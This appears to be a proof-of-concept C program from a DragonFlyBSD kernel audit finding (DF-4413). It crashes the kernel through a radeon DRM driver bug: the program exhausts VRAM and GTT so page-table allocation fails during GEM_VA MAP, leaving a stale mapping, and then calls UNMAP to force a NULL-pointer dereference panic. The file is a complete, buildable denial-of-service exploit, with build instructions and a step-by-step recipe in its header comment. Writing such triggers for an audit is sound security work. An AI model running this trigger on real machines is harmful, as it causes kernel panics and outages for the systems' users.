⬢ DragonFlyBSD Kernel Audit
DF-4413 / trigger_nullpt.c
← back to finding ↓ download raw
/*
 * DF-4413 trigger: radeon_vm_bo_set_addr() commits the mapping (interval tree
 * + vm->cleared, radeon_vm.c:519-526) BEFORE allocating the page tables
 * (radeon_vm.c:541-575). If radeon_bo_create()/radeon_vm_clear_bo() fails
 * mid-loop the function returns the error WITHOUT unwinding the mapping
 * (radeon_vm.c:554-560). Every subsequent radeon_vm_bo_update() on that
 * bo_va walks the full [it.start, it.last] range in radeon_vm_update_ptes()
 * and dereferences the NULL page-table pointer:
 *
 *	radeon_vm.c:828   struct radeon_bo *pt = vm->page_tables[pt_idx].bo;  <- NULL
 *	radeon_vm.c:833   radeon_sync_resv(rdev, &ib->sync, pt->tbo.resv,..) <- panic
 *
 * Deterministic follow-up: the very GEM_VA UNMAP that "fixes" the failed
 * mapping goes through radeon_gem_va_update_vm() -> radeon_vm_clear_freed()
 * -> radeon_vm_bo_update(NULL) -> boom.
 *
 * Recipe:
 *   1. open /dev/dri/card0
 *   2. create small bo (VRAM)
 *   3. fill VRAM (and GTT) with filler BOs so the 4KB page-table
 *      radeon_bo_create() in set_addr() fails even after TTM eviction
 *   4. GEM_VA MAP bo at 0x100000  -> returns error, mapping is left behind
 *   5. GEM_VA UNMAP bo            -> NULL-deref kernel panic
 *
 * Build: cc -O2 -I/usr/src/sys/dev/drm/include/uapi \
 *            -o trigger_nullpt trigger_nullpt.c
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "radeon_abi.h"

static const char *CARD = "/dev/dri/card0";

static int gem_create(int fd, uint64_t size, uint32_t domain, uint32_t *handle)
{
	struct drm_radeon_gem_create gc;
	int r;

	memset(&gc, 0, sizeof(gc));
	gc.size = size;
	gc.alignment = 0;
	gc.initial_domain = domain;
	gc.flags = 0;
	r = ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE_, &gc);
	if (r == 0)
		*handle = gc.handle;
	return r;
}

static int gem_close(int fd, uint32_t handle)
{
	struct drm_gem_close_ gc;

	memset(&gc, 0, sizeof(gc));
	gc.handle = handle;
	return ioctl(fd, DRM_IOCTL_GEM_CLOSE_, &gc);
}

static int gem_va(int fd, uint32_t handle, uint64_t offset, uint32_t op,
    uint32_t *result)
{
	struct drm_radeon_gem_va va;
	int r;

	memset(&va, 0, sizeof(va));
	va.handle = handle;
	va.offset = offset;
	va.flags = RADEON_VM_PAGE_READABLE | RADEON_VM_PAGE_WRITEABLE;
	va.vm_id = 0;
	va.operation = op;
	r = ioctl(fd, DRM_IOCTL_RADEON_GEM_VA_, &va);
	if (result)
		*result = va.operation;
	return r;
}

int main(void)
{
	uint32_t fillers[8192];
	int nfill = 0, fd, i;
	uint32_t bo = 0;

	fd = open(CARD, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		printf("open(%s): %s\n", CARD, strerror(errno));
		printf("=> no radeon DRM device available; trigger cannot run.\n");
		return 2;
	}

	/* bo we will (fail to) map */
	if (gem_create(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &bo)) {
		printf("gem_create(bo): %s\n", strerror(errno));
		return 2;
	}

	/* fill VRAM, then GTT, then keep going (TTM evicts into system
	 * memory; keep pressure until a 4KB VRAM alloc fails) */
	for (i = 0; i < (int)(sizeof(fillers) / sizeof(fillers[0])); i++) {
		uint32_t h;
		if (gem_create(fd, 64ULL * 1024 * 1024,
		    RADEON_GEM_DOMAIN_VRAM, &h))
			break;
		fillers[nfill++] = h;
		if ((i % 16) == 0)
			printf("vram fillers: %d\n", nfill);
	}
	for (i = 0; i < (int)(sizeof(fillers) / sizeof(fillers[0])); i++) {
		uint32_t h;
		if (gem_create(fd, 64ULL * 1024 * 1024,
		    RADEON_GEM_DOMAIN_GTT, &h))
			break;
		if (nfill < (int)(sizeof(fillers) / sizeof(fillers[0])))
			fillers[nfill++] = h;
	}
	printf("memory pressure: %d fillers (%d MB)\n",
	    nfill, nfill * 64);

	/* step 4: MAP at 1MB. set_addr: inserts mapping, then PT alloc fails */
	{
		uint32_t result = 0;
		int r = gem_va(fd, bo, 0x100000, RADEON_VA_MAP, &result);
		printf("GEM_VA MAP -> r=%d result=%u (expect r=-1/ENOMEM, "
		    "result=RADEON_VA_RESULT_ERROR but mapping LEFT in vm)\n",
		    r, result);
	}

	printf("now UNMAP: radeon_vm_clear_freed() -> radeon_vm_bo_update() "
	    "-> radeon_vm_update_ptes() -> NULL pt deref -> PANIC\n");
	fflush(stdout);

	/* step 5: the panic */
	gem_va(fd, bo, 0, RADEON_VA_UNMAP, NULL);

	printf("UNMAP returned (no panic) -- PT allocation apparently "
	    "succeeded via eviction; increase filler pressure\n");

	for (i = 0; i < nfill; i++)
		gem_close(fd, fillers[i]);
	gem_close(fd, bo);
	close(fd);
	return 1;
}